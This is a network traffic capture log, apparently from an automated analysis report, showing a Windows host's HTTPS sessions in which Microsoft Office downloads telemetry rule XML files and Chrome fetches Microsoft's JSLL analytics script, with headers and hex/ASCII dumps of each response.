2024-11-24 04:12:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:07 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:07 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041207Z-178bfbc474bpscmfhC1NYCfc2c000000041000000000aah2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:07 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49852	13.107.246.63	443	6952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:07 UTC	454	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-11-24 04:12:08 UTC	807	IN	HTTP/1.1 304 Not Modified Date: Sun, 24 Nov 2024 04:12:08 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241124T041208Z-178bfbc474btrnf9hC1NYCb80g00000005ng000000005q4g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:08 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:09 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e88bdfa1-301e-003f-630e-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041209Z-178bfbc474bq2pr7hC1NYCkfgg00000005k000000000axxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:09 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:09 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:09 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041209Z-178bfbc474bwh9gmhC1NYCy3rs00000005fg00000000c0vf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:09 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:09 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:09 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3385e8da-101e-00a2-400c-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041209Z-178bfbc474brk967hC1NYCfu60000000054g00000000k3eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:09 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:09 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:09 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041209Z-15b8b599d88hd9g7hC1TEBp75c00000003z0000000002rt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:10 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:09 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:09 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 30cd57e9-201e-003c-48f3-3c30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041209Z-178bfbc474bbbqrhhC1NYCvw7400000005qg000000000cw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	49869	13.107.246.63	443	6952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:10 UTC	427	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=179335-179335 If-Range: 0x8DCEC757C1AD1D1
2024-11-24 04:12:10 UTC	889	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:10 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241124T041210Z-178bfbc474b7cbwqhC1NYC8z4n00000005ag00000000b3qv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:10 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-24 04:12:10 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-24 04:12:10 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-24 04:12:10 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-24 04:12:10 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-24 04:12:10 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
